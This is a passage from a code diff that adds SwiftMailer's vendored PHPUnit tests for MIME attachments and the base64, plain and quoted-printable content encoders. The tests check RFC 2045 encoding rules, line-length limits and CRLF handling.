$this->_createAttachment($this->_createHeaderSet(array( + 'Content-Disposition' => $disposition,)), + $this->_createEncoder(), $this->_createCache() + ); + $attachment->setFilename('bar.txt'); + } + + public function testSettingFilenameSetsNameInContentType() + { + /* + This is a legacy requirement which isn't covered by up-to-date RFCs. + */ + + $cType = $this->_createHeader('Content-Type', 'text/plain', + array(), false + ); + $cType->shouldReceive('setParameter') + ->once() + ->with('name', 'bar.txt'); + $cType->shouldReceive('setParameter') + ->zeroOrMoreTimes(); + + $attachment = $this->_createAttachment($this->_createHeaderSet(array( + 'Content-Type' => $cType,)), + $this->_createEncoder(), $this->_createCache() + ); + $attachment->setFilename('bar.txt'); + } + + public function testSizeIsReturnedFromHeader() + { + /* -- RFC 2183, 2.7. + */ + + $disposition = $this->_createHeader('Content-Disposition', 'attachment', + array('size' => 1234) + ); + $attachment = $this->_createAttachment($this->_createHeaderSet(array( + 'Content-Disposition' => $disposition,)), + $this->_createEncoder(), $this->_createCache() + ); + $this->assertEquals(1234, $attachment->getSize()); + } + + public function testSizeIsSetInHeader() + { + $disposition = $this->_createHeader('Content-Disposition', 'attachment', + array(), false + ); + $disposition->shouldReceive('setParameter') + ->once() + ->with('size', 12345); + $disposition->shouldReceive('setParameter') + ->zeroOrMoreTimes(); + + $attachment = $this->_createAttachment($this->_createHeaderSet(array( + 'Content-Disposition' => $disposition,)), + $this->_createEncoder(), $this->_createCache() + ); + $attachment->setSize(12345); + } + + public function testFilnameCanBeReadFromFileStream() + { + $file = $this->_createFileStream('/bar/file.ext', ''); + $disposition = $this->_createHeader('Content-Disposition', 'attachment', + array('filename' => 'foo.txt'), false + ); + $disposition->shouldReceive('setParameter') + ->once() + ->with('filename', 'file.ext'); + + $attachment = $this->_createAttachment($this->_createHeaderSet(array( + 'Content-Disposition' => $disposition,)), + $this->_createEncoder(), $this->_createCache() + ); + $attachment->setFile($file); + } + + public function testContentTypeCanBeSetViaSetFile() + { + $file = $this->_createFileStream('/bar/file.ext', ''); + $disposition = $this->_createHeader('Content-Disposition', 'attachment', + array('filename' => 'foo.txt'), false + ); + $disposition->shouldReceive('setParameter') + ->once() + ->with('filename', 'file.ext'); + + $ctype = $this->_createHeader('Content-Type', 'text/plain', array(), false); + $ctype->shouldReceive('setFieldBodyModel') + ->once() + ->with('text/html'); + $ctype->shouldReceive('setFieldBodyModel') + ->zeroOrMoreTimes(); + + $headers = $this->_createHeaderSet(array( + 'Content-Disposition' => $disposition, + 'Content-Type' => $ctype, + )); + + $attachment = $this->_createAttachment($headers, $this->_createEncoder(), + $this->_createCache() + ); + $attachment->setFile($file, 'text/html'); + } + + public function XtestContentTypeCanBeLookedUpFromCommonListIfNotProvided() + { + $file = $this->_createFileStream('/bar/file.zip', ''); + $disposition = $this->_createHeader('Content-Disposition', 'attachment', + array('filename' => 'foo.zip'), false + ); + $disposition->shouldReceive('setParameter') + ->once() + ->with('filename', 'file.zip'); + + $ctype = $this->_createHeader('Content-Type', 'text/plain', array(), false); + $ctype->shouldReceive('setFieldBodyModel') + ->once() + ->with('application/zip'); + $ctype->shouldReceive('setFieldBodyModel') + ->zeroOrMoreTimes(); + + $headers = $this->_createHeaderSet(array( + 'Content-Disposition' => $disposition, + 'Content-Type' => $ctype, + )); + + $attachment = $this->_createAttachment($headers, $this->_createEncoder(), + $this->_createCache(), array('zip' => 'application/zip', 'txt' => 'text/plain') + ); + $attachment->setFile($file); + } + + public function testDataCanBeReadFromFile() + { + $file = $this->_createFileStream('/foo/file.ext', ''); + $attachment = $this->_createAttachment($this->_createHeaderSet(), + $this->_createEncoder(), $this->_createCache() + ); + $attachment->setFile($file); + $this->assertEquals('', $attachment->getBody()); + } + + public function testFluidInterface() + { + $attachment = $this->_createAttachment($this->_createHeaderSet(), + $this->_createEncoder(), $this->_createCache() + ); + $this->assertSame($attachment, + $attachment + ->setContentType('application/pdf') + ->setEncoder($this->_createEncoder()) + ->setId('foo@bar') + ->setDescription('my pdf') + ->setMaxLineLength(998) + ->setBody('xx') + ->setBoundary('xyz') + ->setChildren(array()) + ->setDisposition('inline') + ->setFilename('afile.txt') + ->setSize(123) + ->setFile($this->_createFileStream('foo.txt', '')) + ); + } + + // -- Private helpers + + protected function _createEntity($headers, $encoder, $cache) + { + return $this->_createAttachment($headers, $encoder, $cache); + } + + protected function _createAttachment($headers, $encoder, $cache, $mimeTypes = array()) + { + return new Swift_Mime_Attachment($headers, $encoder, $cache, new Swift_Mime_Grammar(), $mimeTypes); + } + + protected function _createFileStream($path, $data, $stub = true) + { + $file = $this->getMockery('Swift_FileStream'); + $file->shouldReceive('getPath') + ->zeroOrMoreTimes() + ->andReturn($path); + $file->shouldReceive('read') + ->zeroOrMoreTimes() + ->andReturnUsing(function () use ($data) { + static $first = true; + if (!$first) { + return false; + } + + $first = false; + + return $data; + }); + + return $file; + } +} diff --git a/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/unit/Swift/Mime/ContentEncoder/Base64ContentEncoderTest.php b/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/unit/Swift/Mime/ContentEncoder/Base64ContentEncoderTest.php new file mode 100644 index 00000000..7c427d85 --- /dev/null +++ b/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/unit/Swift/Mime/ContentEncoder/Base64ContentEncoderTest.php @@ -0,0 +1,323 @@ +_encoder = new Swift_Mime_ContentEncoder_Base64ContentEncoder(); + } + + public function testNameIsBase64() + { + $this->assertEquals('base64', $this->_encoder->getName()); + } + + /* + There's really no point in testing the entire base64 encoding to the + level QP encoding has been tested. base64_encode() has been in PHP for + years. + */ + + public function testInputOutputRatioIs3to4Bytes() + { + /* + RFC 2045, 6.8 + + The encoding process represents 24-bit groups of input bits as output + strings of 4 encoded characters. Proceeding from left to right, a + 24-bit input group is formed by concatenating 3 8bit input groups. + These 24 bits are then treated as 4 concatenated 6-bit groups, each + of which is translated into a single digit in the base64 alphabet. + */ + + $os = $this->_createOutputByteStream(); + $is = $this->_createInputByteStream(); + $collection = new Swift_StreamCollector(); + + $is->shouldReceive('write') + ->zeroOrMoreTimes() + ->andReturnUsing($collection); + $os->shouldReceive('read') + ->once() + ->andReturn('123'); + $os->shouldReceive('read') + ->zeroOrMoreTimes() + ->andReturn(false); + + $this->_encoder->encodeByteStream($os, $is); + $this->assertEquals('MTIz', $collection->content); + } + + public function testPadLength() + { + /* + RFC 2045, 6.8 + + Special processing is performed if fewer than 24 bits are available + at the end of the data being encoded. A full encoding quantum is + always completed at the end of a body. When fewer than 24 input bits + are available in an input group, zero bits are added (on the right) + to form an integral number of 6-bit groups. Padding at the end of + the data is performed using the "=" character. Since all base64 + input is an integral number of octets, only the following cases can + arise: (1) the final quantum of encoding input is an integral + multiple of 24 bits; here, the final unit of encoded output will be + an integral multiple of 4 characters with no "=" padding, (2) the + final quantum of encoding input is exactly 8 bits; here, the final + unit of encoded output will be two characters followed by two "=" + padding characters, or (3) the final quantum of encoding input is + exactly 16 bits; here, the final unit of encoded output will be three + characters followed by one "=" padding character. + */ + + for ($i = 0; $i < 30; ++$i) { + $os = $this->_createOutputByteStream(); + $is = $this->_createInputByteStream(); + $collection = new Swift_StreamCollector(); + + $is->shouldReceive('write') + ->zeroOrMoreTimes() + ->andReturnUsing($collection); + $os->shouldReceive('read') + ->once() + ->andReturn(pack('C', rand(0, 255))); + $os->shouldReceive('read') + ->zeroOrMoreTimes() + ->andReturn(false); + + $this->_encoder->encodeByteStream($os, $is); + $this->assertRegExp('~^[a-zA-Z0-9/\+]{2}==$~', $collection->content, + '%s: A single byte should have 2 bytes of padding' + ); + } + + for ($i = 0; $i < 30; ++$i) { + $os = $this->_createOutputByteStream(); + $is = $this->_createInputByteStream(); + $collection = new Swift_StreamCollector(); + + $is->shouldReceive('write') + ->zeroOrMoreTimes() + ->andReturnUsing($collection); + $os->shouldReceive('read') + ->once() + ->andReturn(pack('C*', rand(0, 255), rand(0, 255))); + $os->shouldReceive('read') + ->zeroOrMoreTimes() + ->andReturn(false); + + $this->_encoder->encodeByteStream($os, $is); + $this->assertRegExp('~^[a-zA-Z0-9/\+]{3}=$~', $collection->content, + '%s: Two bytes should have 1 byte of padding' + ); + } + + for ($i = 0; $i < 30; ++$i) { + $os = $this->_createOutputByteStream(); + $is = $this->_createInputByteStream(); + $collection = new Swift_StreamCollector(); + + $is->shouldReceive('write') + ->zeroOrMoreTimes() + ->andReturnUsing($collection); + $os->shouldReceive('read') + ->once() + ->andReturn(pack('C*', rand(0, 255), rand(0, 255), rand(0, 255))); + $os->shouldReceive('read') + ->zeroOrMoreTimes() + ->andReturn(false); + + $this->_encoder->encodeByteStream($os, $is); + $this->assertRegExp('~^[a-zA-Z0-9/\+]{4}$~', $collection->content, + '%s: Three bytes should have no padding' + ); + } + } + + public function testMaximumLineLengthIs76Characters() + { + /* + The encoded output stream must be represented in lines of no more + than 76 characters each. All line breaks or other characters not + found in Table 1 must be ignored by decoding software. + */ + + $os = $this->_createOutputByteStream(); + $is = $this->_createInputByteStream(); + $collection = new Swift_StreamCollector(); + + $is->shouldReceive('write') + ->zeroOrMoreTimes() + ->andReturnUsing($collection); + $os->shouldReceive('read') + ->once() + ->andReturn('abcdefghijkl'); //12 + $os->shouldReceive('read') + ->once() + ->andReturn('mnopqrstuvwx'); //24 + $os->shouldReceive('read') + ->once() + ->andReturn('yzabc1234567'); //36 + $os->shouldReceive('read') + ->once() + ->andReturn('890ABCDEFGHI'); //48 + $os->shouldReceive('read') + ->once() + ->andReturn('JKLMNOPQRSTU'); //60 + $os->shouldReceive('read') + ->once() + ->andReturn('VWXYZ1234567'); //72 + $os->shouldReceive('read') + ->once() + ->andReturn('abcdefghijkl'); //84 + $os->shouldReceive('read') + ->zeroOrMoreTimes() + ->andReturn(false); + + $this->_encoder->encodeByteStream($os, $is); + $this->assertEquals( + "YWJjZGVmZ2hpamtsbW5vcHFyc3R1dnd4eXphYmMxMjM0NTY3ODkwQUJDREVGR0hJSktMTU5PUFFS\r\n". + "U1RVVldYWVoxMjM0NTY3YWJjZGVmZ2hpamts", + $collection->content + ); + } + + public function testMaximumLineLengthCanBeDifferent() + { + $os = $this->_createOutputByteStream(); + $is = $this->_createInputByteStream(); + $collection = new Swift_StreamCollector(); + + $is->shouldReceive('write') + ->zeroOrMoreTimes() + ->andReturnUsing($collection); + $os->shouldReceive('read') + ->once() + ->andReturn('abcdefghijkl'); //12 + $os->shouldReceive('read') + ->once() + ->andReturn('mnopqrstuvwx'); //24 + $os->shouldReceive('read') + ->once() + ->andReturn('yzabc1234567'); //36 + $os->shouldReceive('read') + ->once() + ->andReturn('890ABCDEFGHI'); //48 + $os->shouldReceive('read') + ->once() + ->andReturn('JKLMNOPQRSTU'); //60 + $os->shouldReceive('read') + ->once() + ->andReturn('VWXYZ1234567'); //72 + $os->shouldReceive('read') + ->once() + ->andReturn('abcdefghijkl'); //84 + $os->shouldReceive('read') + ->zeroOrMoreTimes() + ->andReturn(false); + + $this->_encoder->encodeByteStream($os, $is, 0, 50); + $this->assertEquals( + "YWJjZGVmZ2hpamtsbW5vcHFyc3R1dnd4eXphYmMxMjM0NTY3OD\r\n". + "kwQUJDREVGR0hJSktMTU5PUFFSU1RVVldYWVoxMjM0NTY3YWJj\r\n". + "ZGVmZ2hpamts", + $collection->content + ); + } + + public function testMaximumLineLengthIsNeverMoreThan76Chars() + { + $os = $this->_createOutputByteStream(); + $is = $this->_createInputByteStream(); + $collection = new Swift_StreamCollector(); + + $is->shouldReceive('write') + ->zeroOrMoreTimes() + ->andReturnUsing($collection); + $os->shouldReceive('read') + ->once() + ->andReturn('abcdefghijkl'); //12 + $os->shouldReceive('read') + ->once() + ->andReturn('mnopqrstuvwx'); //24 + $os->shouldReceive('read') + ->once() + ->andReturn('yzabc1234567'); //36 + $os->shouldReceive('read') + ->once() + ->andReturn('890ABCDEFGHI'); //48 + $os->shouldReceive('read') + ->once() + ->andReturn('JKLMNOPQRSTU'); //60 + $os->shouldReceive('read') + ->once() + ->andReturn('VWXYZ1234567'); //72 + $os->shouldReceive('read') + ->once() + ->andReturn('abcdefghijkl'); //84 + $os->shouldReceive('read') + ->zeroOrMoreTimes() + ->andReturn(false); + + $this->_encoder->encodeByteStream($os, $is, 0, 100); + $this->assertEquals( + "YWJjZGVmZ2hpamtsbW5vcHFyc3R1dnd4eXphYmMxMjM0NTY3ODkwQUJDREVGR0hJSktMTU5PUFFS\r\n". + "U1RVVldYWVoxMjM0NTY3YWJjZGVmZ2hpamts", + $collection->content + ); + } + + public function testFirstLineLengthCanBeDifferent() + { + $os = $this->_createOutputByteStream(); + $is = $this->_createInputByteStream(); + $collection = new Swift_StreamCollector(); + + $is->shouldReceive('write') + ->zeroOrMoreTimes() + ->andReturnUsing($collection); + $os->shouldReceive('read') + ->once() + ->andReturn('abcdefghijkl'); //12 + $os->shouldReceive('read') + ->once() + ->andReturn('mnopqrstuvwx'); //24 + $os->shouldReceive('read') + ->once() + ->andReturn('yzabc1234567'); //36 + $os->shouldReceive('read') + ->once() + ->andReturn('890ABCDEFGHI'); //48 + $os->shouldReceive('read') + ->once() + ->andReturn('JKLMNOPQRSTU'); //60 + $os->shouldReceive('read') + ->once() + ->andReturn('VWXYZ1234567'); //72 + $os->shouldReceive('read') + ->once() + ->andReturn('abcdefghijkl'); //84 + $os->shouldReceive('read') + ->zeroOrMoreTimes() + ->andReturn(false); + + $this->_encoder->encodeByteStream($os, $is, 19); + $this->assertEquals( + "YWJjZGVmZ2hpamtsbW5vcHFyc3R1dnd4eXphYmMxMjM0NTY3ODkwQUJDR\r\n". + "EVGR0hJSktMTU5PUFFSU1RVVldYWVoxMjM0NTY3YWJjZGVmZ2hpamts", + $collection->content + ); + } + + private function _createOutputByteStream($stub = false) + { + return $this->getMockery('Swift_OutputByteStream')->shouldIgnoreMissing(); + } + + private function _createInputByteStream($stub = false) + { + return $this->getMockery('Swift_InputByteStream')->shouldIgnoreMissing(); + } +} diff --git a/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/unit/Swift/Mime/ContentEncoder/PlainContentEncoderTest.php b/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/unit/Swift/Mime/ContentEncoder/PlainContentEncoderTest.php new file mode 100644 index 00000000..526cedc5 --- /dev/null +++ b/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/unit/Swift/Mime/ContentEncoder/PlainContentEncoderTest.php @@ -0,0 +1,173 @@ +_getEncoder('7bit'); + $this->assertEquals('7bit', $encoder->getName()); + + $encoder = $this->_getEncoder('8bit'); + $this->assertEquals('8bit', $encoder->getName()); + } + + public function testNoOctetsAreModifiedInString() + { + $encoder = $this->_getEncoder('7bit'); + foreach (range(0x00, 0xFF) as $octet) { + $byte = pack('C', $octet); + $this->assertIdenticalBinary($byte, $encoder->encodeString($byte)); + } + } + + public function testNoOctetsAreModifiedInByteStream() + { + $encoder = $this->_getEncoder('7bit'); + foreach (range(0x00, 0xFF) as $octet) { + $byte = pack('C', $octet); + + $os = $this->_createOutputByteStream(); + $is = $this->_createInputByteStream(); + $collection = new Swift_StreamCollector(); + + $is->shouldReceive('write') + ->zeroOrMoreTimes() + ->andReturnUsing($collection); + $os->shouldReceive('read') + ->once() + ->andReturn($byte); + $os->shouldReceive('read') + ->zeroOrMoreTimes() + ->andReturn(false); + + $encoder->encodeByteStream($os, $is); + $this->assertIdenticalBinary($byte, $collection->content); + } + } + + public function testLineLengthCanBeSpecified() + { + $encoder = $this->_getEncoder('7bit'); + + $chars = array(); + for ($i = 0; $i < 50; $i++) { + $chars[] = 'a'; + } + $input = implode(' ', $chars); //99 chars long + + $this->assertEquals( + 'a a a a a a a a a a a a a a a a a a a a a a a a a '."\r\n".//50 * + 'a a a a a a a a a a a a a a a a a a a a a a a a a', //99 + $encoder->encodeString($input, 0, 50), + '%s: Lines should be wrapped at 50 chars' + ); + } + + public function testLineLengthCanBeSpecifiedInByteStream() + { + $encoder = $this->_getEncoder('7bit'); + + $os = $this->_createOutputByteStream(); + $is = $this->_createInputByteStream(); + $collection = new Swift_StreamCollector(); + + $is->shouldReceive('write') + ->zeroOrMoreTimes() + ->andReturnUsing($collection); + + for ($i = 0; $i < 50; $i++) { + $os->shouldReceive('read') + ->once() + ->andReturn('a '); + } + + $os->shouldReceive('read') + ->zeroOrMoreTimes() + ->andReturn(false); + + $encoder->encodeByteStream($os, $is, 0, 50); + $this->assertEquals( + str_repeat('a ', 25)."\r\n".str_repeat('a ', 25), + $collection->content + ); + } + + public function testencodeStringGeneratesCorrectCrlf() + { + $encoder = $this->_getEncoder('7bit', true); + $this->assertEquals("a\r\nb", $encoder->encodeString("a\rb"), + '%s: Line endings should be standardized' + ); + $this->assertEquals("a\r\nb", $encoder->encodeString("a\nb"), + '%s: Line endings should be standardized' + ); + $this->assertEquals("a\r\n\r\nb", $encoder->encodeString("a\n\rb"), + '%s: Line endings should be standardized' + ); + $this->assertEquals("a\r\n\r\nb", $encoder->encodeString("a\r\rb"), + '%s: Line endings should be standardized' + ); + $this->assertEquals("a\r\n\r\nb", $encoder->encodeString("a\n\nb"), + '%s: Line endings should be standardized' + ); + } + + public function crlfProvider() + { + return array( + array("\r", "a\r\nb"), + array("\n", "a\r\nb"), + array("\n\r", "a\r\n\r\nb"), + array("\n\n", "a\r\n\r\nb"), + array("\r\r", "a\r\n\r\nb"), + ); + } + + /** + * @dataProvider crlfProvider + */ + public function testCanonicEncodeByteStreamGeneratesCorrectCrlf($test, $expected) + { + $encoder = $this->_getEncoder('7bit', true); + + $os = $this->_createOutputByteStream(); + $is = $this->_createInputByteStream(); + $collection = new Swift_StreamCollector(); + + $is->shouldReceive('write') + ->zeroOrMoreTimes() + ->andReturnUsing($collection); + $os->shouldReceive('read') + ->once() + ->andReturn('a'); + $os->shouldReceive('read') + ->once() + ->andReturn($test); + $os->shouldReceive('read') + ->once() + ->andReturn('b'); + $os->shouldReceive('read') + ->zeroOrMoreTimes() + ->andReturn(false); + + $encoder->encodeByteStream($os, $is); + $this->assertEquals($expected, $collection->content); + } + + // -- Private helpers + + private function _getEncoder($name, $canonical = false) + { + return new Swift_Mime_ContentEncoder_PlainContentEncoder($name, $canonical); + } + + private function _createOutputByteStream($stub = false) + { + return $this->getMockery('Swift_OutputByteStream')->shouldIgnoreMissing(); + } + + private function _createInputByteStream($stub = false) + { + return $this->getMockery('Swift_InputByteStream')->shouldIgnoreMissing(); + } +} diff --git a/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/unit/Swift/Mime/ContentEncoder/QpContentEncoderTest.php b/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/unit/Swift/Mime/ContentEncoder/QpContentEncoderTest.php new file mode 100644 index 00000000..66fa8f38 --- /dev/null +++ b/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/unit/Swift/Mime/ContentEncoder/QpContentEncoderTest.php @@ -0,0 +1,496 @@ +_createCharacterStream(true) + ); + $this->assertEquals('quoted-printable', $encoder->getName()); + } + + /* -- RFC 2045, 6.7 -- + (1) (General 8bit representation) Any octet, except a CR or + LF that is part of a CRLF line break of the canonical + (standard) form of the data being encoded, may be + represented by an "=" followed by a two digit + hexadecimal representation of the octet's value. The + digits of the hexadecimal alphabet, for this purpose, + are "0123456789ABCDEF". Uppercase letters must be + used; lowercase letters are not allowed. Thus, for + example, the decimal value 12 (US-ASCII form feed) can + be represented by "=0C", and the decimal value 61 (US- + ASCII EQUAL SIGN) can be represented by "=3D". This + rule must be followed except when the following rules + allow an alternative encoding. + */ + + public function testPermittedCharactersAreNotEncoded() + { + /* -- RFC 2045, 6.7 -- + (2) (Literal representation) Octets with decimal values of + 33 through 60 inclusive, and 62 through 126, inclusive, + MAY be represented as the US-ASCII characters which + correspond to those octets (EXCLAMATION POINT through + LESS THAN, and GREATER THAN through TILDE, + respectively). + */ + + foreach (array_merge(range(33, 60), range(62, 126)) as $ordinal) { + $char = chr($ordinal); + + $os = $this->_createOutputByteStream(true); + $charStream = $this->_createCharacterStream(); + $is = $this->_createInputByteStream(); + $collection = new Swift_StreamCollector(); + + $is->shouldReceive('write') + ->zeroOrMoreTimes() + ->andReturnUsing($collection); + $charStream->shouldReceive('flushContents') + ->once(); + $charStream->shouldReceive('importByteStream') + ->once() + ->with($os); + $charStream->shouldReceive('readBytes') + ->once() + ->andReturn(array($ordinal)); + $charStream->shouldReceive('readBytes') + ->zeroOrMoreTimes() + ->andReturn(false); + + $encoder = new Swift_Mime_ContentEncoder_QpContentEncoder($charStream); + $encoder->encodeByteStream($os, $is); + $this->assertIdenticalBinary($char, $collection->content); + } + } + + public function testLinearWhiteSpaceAtLineEndingIsEncoded() + { + /* -- RFC 2045, 6.7 -- + (3) (White Space) Octets with values of 9 and 32 MAY be + represented as US-ASCII TAB (HT) and SPACE characters, + respectively, but MUST NOT be so represented at the end + of an encoded line. Any TAB (HT) or SPACE characters + on an encoded line MUST thus be followed on that line + by a printable character. In particular, an "=" at the + end of an encoded line, indicating a soft line break + (see rule #5) may follow one or more TAB (HT) or SPACE + characters. It follows that an octet with decimal + value 9 or 32 appearing at the end of an encoded line + must be represented according to Rule #1. This rule is + necessary because some MTAs (Message Transport Agents, + programs which transport messages from one user to + another, or perform a portion of such transfers) are + known to pad lines of text with SPACEs, and others are + known to remove "white space" characters from the end + of a line. Therefore, when decoding a Quoted-Printable + body, any trailing white space on a line must be + deleted, as it will necessarily have been added by + intermediate transport agents. + */ + + $HT = chr(0x09); //9 + $SPACE = chr(0x20); //32 + + //HT + $os = $this->_createOutputByteStream(true); + $charStream = $this->_createCharacterStream(); + $is = $this->_createInputByteStream(); + $collection = new Swift_StreamCollector(); + + $is->shouldReceive('write') + ->zeroOrMoreTimes() + ->andReturnUsing($collection); + $charStream->shouldReceive('flushContents') + ->once(); + $charStream->shouldReceive('importByteStream') + ->once() + ->with($os); + $charStream->shouldReceive('readBytes') + ->once() + ->andReturn(array(ord('a'))); + $charStream->shouldReceive('readBytes') + ->once() + ->andReturn(array(0x09)); + $charStream->shouldReceive('readBytes') + ->once() + ->andReturn(array(0x09)); + $charStream->shouldReceive('readBytes') + ->once() + ->andReturn(array(0x0D)); + $charStream->shouldReceive('readBytes') + ->once() + ->andReturn(array(0x0A)); + $charStream->shouldReceive('readBytes') + ->once() + ->andReturn(array(ord('b'))); + $charStream->shouldReceive('readBytes') + ->zeroOrMoreTimes() + ->andReturn(false); + + $encoder = new Swift_Mime_ContentEncoder_QpContentEncoder($charStream); + $encoder->encodeByteStream($os, $is); + + $this->assertEquals("a\t=09\r\nb", $collection->content); + + //SPACE + $os = $this->_createOutputByteStream(true); + $charStream = $this->_createCharacterStream(); + $is = $this->_createInputByteStream(); + $collection = new Swift_StreamCollector(); + + $is->shouldReceive('write') + ->zeroOrMoreTimes() + ->andReturnUsing($collection); + $charStream->shouldReceive('flushContents') + ->once(); + $charStream->shouldReceive('importByteStream') + ->once() + ->with($os); + $charStream->shouldReceive('readBytes') + ->once() + ->andReturn(array(ord('a'))); + $charStream->shouldReceive('readBytes') + ->once() + ->andReturn(array(0x20)); + $charStream->shouldReceive('readBytes') + ->once() + ->andReturn(array(0x20)); + $charStream->shouldReceive('readBytes') + ->once() + ->andReturn(array(0x0D)); + $charStream->shouldReceive('readBytes') + ->once() + ->andReturn(array(0x0A)); + $charStream->shouldReceive('readBytes') + ->once() + ->andReturn(array(ord('b'))); + $charStream->shouldReceive('readBytes') + ->zeroOrMoreTimes() + ->andReturn(false); + + $encoder = new Swift_Mime_ContentEncoder_QpContentEncoder($charStream); + $encoder->encodeByteStream($os, $is); + + $this->assertEquals("a =20\r\nb", $collection->content); + } + + public function testCRLFIsLeftAlone() + { + /* + (4) (Line Breaks) A line break in a text body, represented + as a CRLF sequence in the text canonical form, must be + represented by a (RFC 822) line break, which is also a + CRLF sequence, in the Quoted-Printable encoding. Since + the canonical representation of media types other than + text do not generally include the representation of + line breaks as CRLF sequences, no hard line breaks + (i.e. line breaks that are intended to be meaningful + and to be displayed to the user) can occur in the + quoted-printable encoding of such types. Sequences + like "=0D", "=0A", "=0A=0D" and "=0D=0A" will routinely + appear in non-text data represented in quoted- + printable, of course. + + Note that many implementations may elect to encode the + local representation of various content types directly + rather than converting to canonical form first, + encoding, and then converting back to local + representation. In particular, this may apply to plain + text material on systems that use newline conventions + other than a CRLF terminator sequence. Such an + implementation optimization is permissible, but only + when the combined canonicalization-encoding step is + equivalent to performing the three steps separately. + */ + + $os = $this->_createOutputByteStream(true); + $charStream = $this->_createCharacterStream(); + $is = $this->_createInputByteStream(); + $collection = new Swift_StreamCollector(); + + $is->shouldReceive('write') + ->zeroOrMoreTimes() + ->andReturnUsing($collection); + $charStream->shouldReceive('flushContents') + ->once(); + $charStream->shouldReceive('importByteStream') + ->once() + ->with($os); + $charStream->shouldReceive('readBytes') + ->once() + ->andReturn(array(ord('a'))); + $charStream->shouldReceive('readBytes') + ->once() + ->andReturn(array(0x0D)); + $charStream->shouldReceive('readBytes') + ->once() + ->andReturn(array(0x0A)); + $charStream->shouldReceive('readBytes') + ->once() + ->andReturn(array(ord('b'))); + $charStream->shouldReceive('readBytes') + ->once() + ->andReturn(array(0x0D)); + $charStream->shouldReceive('readBytes') + ->once() + ->andReturn(array(0x0A)); + $charStream->shouldReceive('readBytes') + ->once() + ->andReturn(array(ord('c'))); + $charStream->shouldReceive('readBytes') + ->once() + ->andReturn(array(0x0D)); + $charStream->shouldReceive('readBytes') + ->once() + ->andReturn(array(0x0A)); + $charStream->shouldReceive('readBytes') + ->zeroOrMoreTimes() + ->andReturn(false); + + $encoder = new Swift_Mime_ContentEncoder_QpContentEncoder($charStream); + $encoder->encodeByteStream($os, $is); + $this->assertEquals("a\r\nb\r\nc\r\n", $collection->content); + } + + public function testLinesLongerThan76CharactersAreSoftBroken() + { + /* + (5) (Soft Line Breaks) The Quoted-Printable encoding + REQUIRES that encoded lines be no more than 76 + characters long. If longer lines are to be encoded + with the Quoted-Printable encoding, "soft" line breaks + must be used. An equal sign as the last character on a + encoded line indicates such a non-significant ("soft") + line break in the encoded text. + */ + + $os = $this->_createOutputByteStream(true); + $charStream = $this->_createCharacterStream(); + $is = $this->_createInputByteStream(); + $collection = new Swift_StreamCollector(); + + $is->shouldReceive('write') + ->zeroOrMoreTimes() + ->andReturnUsing($collection); + $charStream->shouldReceive('flushContents') + ->once(); + $charStream->shouldReceive('importByteStream') + ->once() + ->with($os); + + for ($seq = 0; $seq <= 140; ++$seq) { + $charStream->shouldReceive('readBytes') + ->once() + ->andReturn(array(ord('a'))); + } + $charStream->shouldReceive('readBytes') + ->zeroOrMoreTimes() + ->andReturn(false); + + $encoder = new Swift_Mime_ContentEncoder_QpContentEncoder($charStream); + $encoder->encodeByteStream($os, $is); + $this->assertEquals(str_repeat('a', 75)."=\r\n".str_repeat('a', 66), $collection->content); + } + + public function testMaxLineLengthCanBeSpecified() + { + $os = $this->_createOutputByteStream(true); + $charStream = $this->_createCharacterStream(); + $is = $this->_createInputByteStream(); + $collection = new Swift_StreamCollector(); + + $is->shouldReceive('write') + ->zeroOrMoreTimes() + ->andReturnUsing($collection); + $charStream->shouldReceive('flushContents') + ->once(); + $charStream->shouldReceive('importByteStream') + ->once() + ->with($os); + + for ($seq = 0; $seq <= 100; ++$seq) { + $charStream->shouldReceive('readBytes') + ->once() + ->andReturn(array(ord('a'))); + } + $charStream->shouldReceive('readBytes') + ->zeroOrMoreTimes() + ->andReturn(false); + + $encoder = new Swift_Mime_ContentEncoder_QpContentEncoder($charStream); + $encoder->encodeByteStream($os, $is, 0, 54); + $this->assertEquals(str_repeat('a', 53)."=\r\n".str_repeat('a', 48), $collection->content); + } + + public function testBytesBelowPermittedRangeAreEncoded() + { + /* + According to Rule (1 & 2) + */ + + foreach (range(0, 32) as $ordinal) { + $char = chr($ordinal); + + $os = $this->_createOutputByteStream(true); + $charStream = $this->_createCharacterStream(); + $is = $this->_createInputByteStream(); + $collection = new Swift_StreamCollector(); + + $is->shouldReceive('write') + ->zeroOrMoreTimes() + ->andReturnUsing($collection); + $charStream->shouldReceive('flushContents') + ->once(); + $charStream->shouldReceive('importByteStream') + ->once() + ->with($os); + $charStream->shouldReceive('readBytes') + ->once() + ->andReturn(array($ordinal)); + $charStream->shouldReceive('readBytes') + ->zeroOrMoreTimes() + ->andReturn(false); + + $encoder = new Swift_Mime_ContentEncoder_QpContentEncoder($charStream); + $encoder->encodeByteStream($os, $is); + $this->assertEquals(sprintf('=%02X', $ordinal), $collection->content); + } + } + + public function testDecimalByte61IsEncoded() + { + /* + According to Rule (1 & 2) + */ + + $char = chr(61); + + $os = $this->_createOutputByteStream(true); + $charStream = $this->_createCharacterStream(); + $is = $this->_createInputByteStream(); + $collection = new Swift_StreamCollector(); + + $is->shouldReceive('write') + ->zeroOrMoreTimes() + ->andReturnUsing($collection); + $charStream->shouldReceive('flushContents') + ->once(); + $charStream->shouldReceive('importByteStream') + ->once() + ->with($os); + $charStream->shouldReceive('readBytes') + ->once() + ->andReturn(array(61)); + $charStream->shouldReceive('readBytes') + ->zeroOrMoreTimes() + ->andReturn(false); + + $encoder = new Swift_Mime_ContentEncoder_QpContentEncoder($charStream); + $encoder->encodeByteStream($os, $is); + $this->assertEquals(sprintf('=%02X', 61), $collection->content); + } + + public function testBytesAbovePermittedRangeAreEncoded() + { + /* + According to Rule (1 & 2) + */ + + foreach (range(127, 255) as $ordinal) { + $char = chr($ordinal); + + $os = $this->_createOutputByteStream(true); + $charStream = $this->_createCharacterStream(); + $is = $this->_createInputByteStream(); + $collection = new Swift_StreamCollector(); + + $is->shouldReceive('write') + ->zeroOrMoreTimes() + ->andReturnUsing($collection); + $charStream->shouldReceive('flushContents') + ->once(); + 